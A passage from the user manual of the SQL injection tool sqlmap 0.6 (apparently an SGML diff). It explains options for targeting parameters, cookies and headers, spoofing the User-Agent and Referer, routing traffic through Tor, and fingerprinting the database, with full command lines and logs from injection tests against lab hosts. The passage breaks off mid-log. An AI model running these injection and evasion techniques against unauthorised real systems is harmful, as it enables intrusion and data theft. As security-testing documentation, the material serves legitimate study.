+[hh:mm:40] [INFO] url 1: http://yourdomain.com/example.php?id=12, do you want to test this +url? [y/N/q] n +[hh:mm:43] [INFO] url 3: http://yourdomain.com/example.php?id=24, do you want to test this +url? [y/N/q] n +[hh:mm:42] [INFO] url 2: http://thirdlevel.yourdomain.com/news/example.php?today=483, do you +want to test this url? [y/N/q] y +[hh:mm:44] [INFO] testing url http://thirdlevel.yourdomain.com/news/example.php?today=483 +[hh:mm:45] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:49] [INFO] url is stable +[hh:mm:50] [INFO] testing if GET parameter 'today' is dynamic +[hh:mm:51] [INFO] confirming that GET parameter 'today' is dynamic +[hh:mm:53] [INFO] GET parameter 'today' is dynamic +[hh:mm:54] [INFO] testing sql injection on GET parameter 'today' +[hh:mm:56] [INFO] testing numeric/unescaped injection on GET parameter 'today' +[hh:mm:57] [INFO] confirming numeric/unescaped injection on GET parameter 'today' +[hh:mm:58] [INFO] GET parameter 'today' is numeric/unescaped injectable +[...] +</verb></tscreen> + + +<sect2>Testable parameter(s) + +<p> +Option: <tt>-p</tt> + +<p> +By default sqlmap tests all <tt>GET</tt> parameters, <tt>POST</tt> +parameters, HTTP <tt>Cookie</tt> header values and HTTP <tt>User-Agent</tt> +header value for dynamicity and SQL injection vulnerability, but it is +possible to manually specificy the parameter(s) you want sqlmap to perform +tests on comma separeted in order to skip dynamicity tests and perform SQL +injection test and inject directly only against the provided parameter(s). + +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \ + -p id + +[hh:mm:48] [INFO] testing connection to the target url +[hh:mm:48] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:49] [INFO] url is stable +[hh:mm:49] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:49] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:49] [INFO] GET parameter 'id' is dynamic +[hh:mm:49] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:49] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:49] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:49] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:49] [INFO] testing for parenthesis on injectable parameter +[hh:mm:49] [INFO] the injectable parameter requires 0 parenthesis +[...] +</verb></tscreen> + +<p> +Or, if you want to provide more than one parameter, for instance: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 \ + -p "cat,id" +</verb></tscreen> + +<p> +You can also test only the HTTP <tt>User-Agent</tt> header. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ + -p user-agent --user-agent "sqlmap/0.6 (http://sqlmap.sourceforge.net)" + +[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET +[hh:mm:40] [INFO] testing connection to the target url +[hh:mm:40] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:41] [INFO] url is stable +[hh:mm:41] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:41] [INFO] confirming that User-Agent parameter 'User-Agent' is dynamic +[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is dynamic +[hh:mm:41] [INFO] testing sql injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] testing numeric/unescaped injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is not numeric/unescaped injectable +[hh:mm:41] [INFO] testing string/single quote injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] confirming string/single quote injection on User-Agent parameter 'User-Agent' +[hh:mm:41] [INFO] User-Agent parameter 'User-Agent' is string/single quote injectable +[hh:mm:41] [INFO] testing for parenthesis on injectable parameter +[hh:mm:41] [INFO] the injectable parameter requires 0 parenthesis +[hh:mm:41] [INFO] testing MySQL +[hh:mm:41] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:41] [INFO] retrieved: 44 +[hh:mm:41] [INFO] performed 20 queries in 0 seconds +[hh:mm:41] [INFO] confirming MySQL +[hh:mm:41] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:41] [INFO] retrieved: 1 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +[hh:mm:41] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:41] [INFO] retrieved: 4 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +back-end DBMS: MySQL >= 5.0.0 +</verb></tscreen> + + +<sect2>HTTP method: <tt>GET</tt> or <tt>POST</tt> + +<p> +Options: <tt>--method</tt> and <tt>--data</tt> + +<p> +By default the HTTP method used to perform HTTP requests is <tt>GET</tt>, +but you can change it to <tt>POST</tt> and provide the data to be sent +through <tt>POST</tt> request. Such data, being those parameters, are +tested for SQL injection like the <tt>GET</tt> parameters. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u http://192.168.1.121/sqlmap/oracle/post_int.php --method POST \ + --data "id=1&cat=2" + +[hh:mm:53] [INFO] testing connection to the target url +[hh:mm:53] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:54] [INFO] url is stable +[hh:mm:54] [INFO] testing if POST parameter 'id' is dynamic +[hh:mm:54] [INFO] confirming that POST parameter 'id' is dynamic +[hh:mm:54] [INFO] POST parameter 'id' is dynamic +[hh:mm:54] [INFO] testing sql injection on POST parameter 'id' +[hh:mm:54] [INFO] testing numeric/unescaped injection on POST parameter 'id' +[hh:mm:54] [INFO] confirming numeric/unescaped injection on POST parameter 'id' +[hh:mm:54] [INFO] POST parameter 'id' is numeric/unescaped injectable +[hh:mm:54] [INFO] testing if POST parameter 'cat' is dynamic +[hh:mm:54] [WARNING] POST parameter 'cat' is not dynamic +[...] +[hh:mm:54] [INFO] testing Oracle +[hh:mm:54] [INFO] query: LENGTH(SYSDATE) +[hh:mm:54] [INFO] retrieved: 9 +[hh:mm:54] [INFO] performed 13 queries in 0 seconds +[hh:mm:54] [INFO] confirming Oracle +[hh:mm:54] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 +[hh:mm:54] [INFO] retrieved: 10.2.0.1.0 +[hh:mm:55] [INFO] performed 76 queries in 0 seconds +back-end DBMS: Oracle +</verb></tscreen> + + +<sect2>HTTP <tt>Cookie</tt> header + +<p> +Option: <tt>--cookie</tt> + +<p> +This feature can be useful in two scenarios: + +<itemize> +<item>The web application requires authentication based upon cookies and +you have such data. +<item>You want to test for and exploit SQL injection on such header +values. +</itemize> + +<p> +The steps to go through in the second scenario are the following: + +<itemize> +<item>On Firefox web browser login on the web authentication form while +dumping URL requests with <htmlurl url="http://tamperdata.mozdev.org/" +name="TamperData"> browser's extension. +<item>In the horizontal box of the extension select your authentication +transaction then in the left box on the bottom click with the right button +on the <tt>Cookie</tt> value, then click on <tt>Copy</tt> to save its +value to the clipboard. +<item>Go back to your shell and run sqlmap. +</itemize> + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie \ + "id=1;cat=2" -v 1 + +[hh:mm:37] [INFO] testing connection to the target url +[hh:mm:37] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:38] [INFO] url is stable +[hh:mm:38] [INFO] testing if Cookie parameter 'id' is dynamic +[hh:mm:38] [INFO] confirming that Cookie parameter 'id' is dynamic +[hh:mm:38] [INFO] Cookie parameter 'id' is dynamic +[hh:mm:38] [INFO] testing sql injection on Cookie parameter 'id' +[hh:mm:38] [INFO] testing numeric/unescaped injection on Cookie parameter 'id' +[hh:mm:38] [INFO] confirming numeric/unescaped injection on Cookie parameter 'id' +[hh:mm:38] [INFO] Cookie parameter 'id' is numeric/unescaped injectable +[...] +</verb></tscreen> + +<p> +Note that the HTTP <tt>Cookie</tt> header values are separated by a +<tt>;</tt> character, <bf>not</bf> by an <tt>&</tt>. + +<p> +If the web application at first HTTP response has within the HTTP headers +a <tt>Set-Cookie</tt> header, sqlmap will automatically use it in all HTTP +requests as the HTTP <tt>Cookie</tt> header and also test for SQL +injection on these values. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3 + +[...] +[hh:mm:39] [INFO] testing connection to the target url +[hh:mm:39] [TRAFFIC OUT] HTTP request: +GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Host: 192.168.1.125:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ +Connection: close + +[...] +[hh:mm:40] [INFO] url is stable +[...] +[hh:mm:40] [INFO] testing if Cookie parameter 'ASPSESSIONIDSABTRCAS' is dynamic +[hh:mm:40] [TRAFFIC OUT] HTTP request: +GET /sqlmap/get_str.asp?name=luther HTTP/1.1 +Host: 192.168.1.125:80 +Cookie: ASPSESSIONIDSABTRCAS=469 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic +[...] +</verb></tscreen> + +<p> +If you provide an HTTP <tt>Cookie</tt> header value and the target URL +sends an HTTP <tt>Set-Cookie</tt> header, sqlmap asks you which one to use +in the following HTTP requests. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" --cookie "id=1" + +[hh:mm:51] [INPUT] you provided an HTTP Cookie header value. The target url provided its +own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP cookie +values that you provided? [Y/n] +</verb></tscreen> + + +<sect2>HTTP <tt>Referer</tt> header + +<p> +Option: <tt>--referer</tt> + +<p> +It is possible to fake the HTTP <tt>Referer</tt> header value with this +option. By default no HTTP <tt>Referer</tt> heder is sent in HTTP +requests. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --referer \ + "http://www.google.com" -v 3 + +[...] +[hh:mm:48] [INFO] testing connection to the target url +[hh:mm:48] [TRAFFIC OUT] HTTP request: +GET /sqlmap/pgsql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +Referer: http://www.google.com +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +</verb></tscreen> + + +<sect2>HTTP <tt>User-Agent</tt> header + +<p> +Options: <tt>--user-agent</tt> and <tt>-a</tt> + +<p> +By default sqlmap perform HTTP requests providing the following HTTP +<tt>User-Agent</tt> header value: + +<tscreen><verb> +sqlmap/0.6 (http://sqlmap.sourceforge.net) +</verb></tscreen> + +<p> +It is possible to fake it with the <tt>--user-agent</tt> option. + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \ + --user-agent "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3 + +[...] +[hh:mm:02] [INFO] testing connection to the target url +[hh:mm:02] [TRAFFIC OUT] HTTP request: +GET /sqlmap/oracle/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) +Connection: close +[...] +</verb></tscreen> + +<p> +Providing a text file, <tt>./txt/user-agents.txt</tt> or any other +file containing a list of at least one user agent, to the <tt>-a</tt> +option, sqlmap will randomly select a <tt>User-Agent</tt> from the file +and use it for all HTTP requests. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ + -a "./txt/user-agents.txt" + +[hh:mm:00] [DEBUG] initializing the configuration +[hh:mm:00] [DEBUG] initializing the knowledge base +[hh:mm:00] [DEBUG] cleaning up configuration parameters +[hh:mm:00] [DEBUG] fetching random HTTP User-Agent header from file './txt/user-agents.txt' +[hh:mm:00] [INFO] fetched random HTTP User-Agent header from file './txt/user-agents.txt': +Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) +[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through +[hh:mm:00] [DEBUG] creating HTTP requests opener object +[hh:mm:00] [DEBUG] parsing XML queries file +[hh:mm:00] [INFO] testing connection to the target url +[hh:mm:00] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98) +Connection: close +[...] +</verb></tscreen> + +<p> +Note that the HTTP <tt>User-Agent</tt> header is tested against SQL +injection even if you do not overwrite the default sqlmap HTTP +<tt>User-Agent</tt> header value. + + +<sect2>HTTP <tt>Basic</tt> and <tt>Digest</tt> authentications + +<p> +Options: <tt>--auth-type</tt> and <tt>--auth-cred</tt> + +<p> +These options can be used to specify which HTTP authentication type the +web server implements and the valid credentials to be used to perfom all +HTTP requests to the target URL. +The two valid types are <tt>Basic</tt> and <tt>Digest</tt> and the +credentials' syntax is <tt>username:password</tt>. + +<p> +Examples on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \ + --auth-type Basic --auth-cred "testuser:testpass" -v 3 + +[...] +[hh:mm:28] [INFO] testing connection to the target url +[hh:mm:28] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] + + +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \ + --auth-type Digest --auth-cred "testuser:testpass" -v 3 + +[...] +[hh:mm:48] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +Authorization: Digest username="testuser", realm="Testing digest authentication", +nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", +uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", +response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, +cnonce="df1c0902c931b640" +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close +[...] +</verb></tscreen> + + +<sect2>HTTP proxy + +<p> +Option: <tt>--proxy</tt> + +<p> +It is possible to provide an anonymous HTTP proxy address to pass by the +HTTP requests to the target URL. The syntax of HTTP proxy value is +<tt>http://url:port</tt>. + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ + --proxy "http://127.0.0.1:3128" + +[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic +[hh:mm:37] [WARNING] the back-end DMBS is not MySQL +[hh:mm:37] [WARNING] the back-end DMBS is not Oracle +back-end DBMS: PostgreSQL +</verb></tscreen> + +<p> +Instead of using a single anonymous HTTP proxy server to pass by, you can +configure a <htmlurl url="http://tor.eff.org" name="Tor client"> together +with <htmlurl url="http://www.privoxy.org" name="Privoxy"> on your machine +as explained on the <htmlurl url="http://tor.eff.org/docs/tor-doc-unix.html.en" +name="Tor client guide"> then run sqlmap as follows: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \ + --proxy "http://127.0.0.1:8118" +</verb></tscreen> + +<p> +Note that <tt>8118</tt> is the default Privoxy port, adapt it to your +settings. + + +<sect2>Concurrent HTTP requests + +<p> +Option: <tt>--threads</tt> + +<p> +It is possible to specify the number of maximum concurrent HTTP requests +that sqlmap can start when it uses the blind SQL injection technique to +retrieve the query output. +This feature relies on the <htmlurl url="http://en.wikipedia.org/wiki/Multithreading" +name="multithreading"> concept and inherits both its pro and its cons. + +<p> +Examples on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \ + -b --threads 3 + +[...] +back-end DBMS: MySQL >= 5.0.0 + +[hh:mm:08] [INFO] fetching banner +[hh:mm:08] [INFO] retrieved the length of query output: 18 +[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)) +[hh:mm:09] [INFO] starting 3 threads +[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2 +[hh:mm:09] [INFO] performed 132 queries in 0 seconds +banner: '5.0.51a-3ubuntu5.2' +</verb></tscreen> + +<p> +As you can see, sqlmap first calculates the length of the query output, +then starts three threads. Each thread is assigned to retrieve one +character of the query output. The thread then ends after approximately +seven HTTP requests, the maximum to retrieve a query output character. + + +<sect1>Injection + +<sect2>String match + +<p> +Option: <tt>--string</tt> + +<p> +By default the distinction of a True query by a False one (basic concept +for standard blind SQL injection attacks) is done comparing injected pages +content MD5 hash with the original not-injected page content MD5. Not +always this concept works because sometimes the page content changes at +each refresh, for instance when the page has a counter, a dynamic +advertisment banner or any other part of the HTML which is render +dynamically and might change in time not only consequently to user's +input. +To bypass this limit, sqlmap makes it possible to manually provide a +string which is <bf>always</bf> present on the not-injected page +<bf>and</bf> on all True injected query pages, but that it is <bf>not</bf> +on the False ones. +Such information is easy for an user to retrieve, simply try to inject on +the affected URL parameter an invalid value and compare original output +with the wrong output to identify which string is on True page only. +This way the distinction will be based upon string match and not page MD5 +hash comparison. + +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ + -v 5 + +[...] +[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds +[hh:mm:50] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 25 Jul 2008 14:29:50 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Connection: close +Transfer-Encoding: chunked +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html><p>Dynamic content: 1216996190</p> + +[hh:mm:51] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 25 Jul 2008 14:29:51 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 161 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html><p>Dynamic content: 1216996191</p> + +[hh:mm:51] [TRAFFIC OUT] HTTP request: +GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1 +Host: 192.168.1.121:80 +User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net) +Connection: close + +[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): +Date: Fri, 25 Jul 2008 14:29:51 GMT +Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8 +OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8 +X-Powered-By: PHP/5.2.4-2ubuntu5.2 +Content-Length: 161 +Connection: close +Content-Type: text/html + +<html><body> +<b>SQL results:</b> +<table border="1"> +<tr><td>1</td><td>luther</td><td>blissett</td></tr> +</table> +</body></html><p>Dynamic content: 1216996191</p> + +[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual +paragraph 'String match' for details +</verb></tscreen> + +<p> +As you can see, the string after <tt>Dynamic content</tt> changes its +value every second. In the example it is just a call to PHP +<tt>time()</tt> function, but on the real world it is usually much more +than that. + +<p> +Looking at the HTTP responses page content you can see that the first five +lines of code do not change at all. +So choosing for instance the word <tt>luther</tt> as an output that is +on the True page content and it is not on the False page content and +passing it to sqlmap, you should be able to inject anyway. + +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \ + --string "luther" -v 1 + +[hh:mm:22] [INFO] testing connection to the target url +[hh:mm:22] [INFO] testing if the provided string is within the target URL page content +[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic +[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic +[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic +[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic +[hh:mm:22] [INFO] GET parameter 'id' is dynamic +[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' +[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id' +[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable +[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic +[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic +[hh:mm:22] [INFO] testing for parenthesis on injectable parameter +[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis +[...] +</verb></tscreen> + +<p> +As you can see, when this option is specified, sqlmap skips the URL +stability test. + +<p> +<em>Consider this option a must when you are dealing with a page which +content that changes itself at each refresh without modifying the user's +input</em>. + + +<sect2>Force the database management system name + +<p> +Option: <tt>--dbms</tt> + +<p> +By default sqlmap automatically detects the web application's back-end +database manangement system. +At the moment the fully supported database management system are four: + +<itemize> +<item>MySQL +<item>Oracle +<item>PostgreSQL +<item>Microsoft SQL Server +</itemize> + +<p> +It is possible to force the name if you already know it so that sqlmap +will skip the fingerprint with an exception for MySQL to only identify if +it is MySQL < 5.0 or MySQL >= 5.0. +To avoid also this check you can provide instead <tt>MySQL 4</tt> or +<tt>MySQL 5</tt>. + +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \ + --dbms "PostgreSQL" + +[...] +[hh:mm:31] [DEBUG] skipping to test for MySQL +[hh:mm:31] [DEBUG] skipping to test for Oracle +back-end DBMS: PostgreSQL +</verb></tscreen> + +<p> +In case you provide <tt>--fingerprint</tt> together with <tt>--dbms</tt>, +sqlmap will only perform the extensive fingerprint for the specified +database management system, read the following section for further +details. + +<p> +Note that this option is <bf>not</bf> mandatory and it is strongly +recommended to use it <bf>only if you are absolutely sure</bf> about the +back-end database management system. If you do not know it, let sqlmap +automatically identify it for you. + + +<sect1>Fingerprint + +<sect2>Extensive database management system fingerprint + +<p> +Options: <tt>-f</tt> or <tt>--fingerprint</tt> + +<p> +By default the web application's back-end database management system +fingerprint is performed requesting a database specific function which +returns a known static value. By comparing this value with the returned +value it is possible to identify if the back-end database is effectively +the one that sqlmap expected. + +After identifying an injectable vector, sqlmap fingerprints the back-end +database management system and performs the following queries with their +specific syntax within the limits of the database architecture. + +If you want to perform a more accurate database management system +fingerprint based on various techniques like specific SQL dialects and +inband error messages, you can provide the <tt>--fingerprint</tt> option. + +The order of database management systems that sqlmap tests for is: + +<itemize> +<item>MySQL +<item>Oracle +<item>PostgreSQL +<item>Microsoft SQL Server +</itemize> + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:02] [INFO] testing MySQL +[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52)) +[hh:mm:02] [INFO] retrieved: 44 +[hh:mm:02] [INFO] performed 20 queries in 0 seconds +[hh:mm:02] [INFO] confirming MySQL +[hh:mm:02] [INFO] query: LENGTH(CHAR(52)) +[hh:mm:02] [INFO] retrieved: 1 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1 +[hh:mm:02] [INFO] retrieved: 4 +[hh:mm:02] [INFO] performed 13 queries in 0 seconds +[hh:mm:02] [INFO] query: DATABASE() +[hh:mm:02] [INFO] retrieved: test +[hh:mm:02] [INFO] performed 34 queries in 0 seconds +[hh:mm:02] [INFO] query: SCHEMA() +[hh:mm:02] [INFO] retrieved: test +[hh:mm:02] [INFO] performed 34 queries in 0 seconds +[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1 +[hh:mm:02] [INFO] retrieved: +[hh:mm:02] [INFO] performed 6 queries in 0 seconds +[hh:mm:02] [INFO] executing MySQL comment injection fingerprint +back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1 + comment injection fingerprint: MySQL 5.0.51 + html error message fingerprint: MySQL +</verb></tscreen> + +<p> +Example on an <bf>Oracle XE 10.2.0.1</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:26] [WARNING] the back-end DMBS is not MySQL +[hh:mm:26] [INFO] testing Oracle +[hh:mm:26] [INFO] query: LENGTH(SYSDATE) +[hh:mm:26] [INFO] retrieved: 9 +[hh:mm:26] [INFO] performed 13 queries in 0 seconds +[hh:mm:26] [INFO] confirming Oracle +[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1 +[hh:mm:26] [INFO] retrieved: 10.2.0.1.0 +[hh:mm:27] [INFO] performed 76 queries in 0 seconds +back-end DBMS: active fingerprint: Oracle 10g + html error message fingerprint: Oracle +</verb></tscreen> + +<p> +Example on a <bf>PostgreSQL 8.2.7</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:56] [WARNING] the back-end DMBS is not Oracle +[hh:mm:56] [INFO] testing PostgreSQL +[hh:mm:56] [INFO] query: COALESCE(7, NULL) +[hh:mm:56] [INFO] retrieved: 7 +[hh:mm:56] [INFO] performed 13 queries in 0 seconds +[hh:mm:56] [INFO] confirming PostgreSQL +[hh:mm:56] [INFO] query: LENGTH((CHR(55))) +[hh:mm:56] [INFO] retrieved: 1 +[hh:mm:56] [INFO] performed 13 queries in 0 seconds +[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1) +[hh:mm:56] [INFO] retrieved: 2 +[hh:mm:56] [INFO] performed 13 queries in 0 seconds +back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0 + html error message fingerprint: PostgreSQL +</verb></tscreen> + +<p> +As you can see from this last example, sqlmap first tested for MySQL, +then for Oracle, then for PostgreSQL since the user did not forced the +back-end database management system name. + +<p> +Example on a <bf>Microsoft SQL Server 2000 Service Pack 0</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f + +[...] +[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL +[hh:mm:41] [INFO] testing Microsoft SQL Server +[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7))) +[hh:mm:41] [INFO] retrieved: 1 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1) +[hh:mm:41] [INFO] retrieved: 0 +[hh:mm:41] [INFO] performed 13 queries in 0 seconds +back-end DBMS: active fingerprint: Microsoft SQL Server 2000 + html error message fingerprint: Microsoft SQL Server +</verb></tscreen> + +<p> +If you want an even more accurate result, based also on banner parsing, +you can also provide the <tt>-b</tt> or <tt>--banner</tt> option. + +<p> +Example on a <bf>MySQL 5.0.51</bf> target: + +<tscreen><verb> +$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b + +[...] +[hh:mm:11] [INFO] testing MySQL +[hh:mm:11] [INFO] 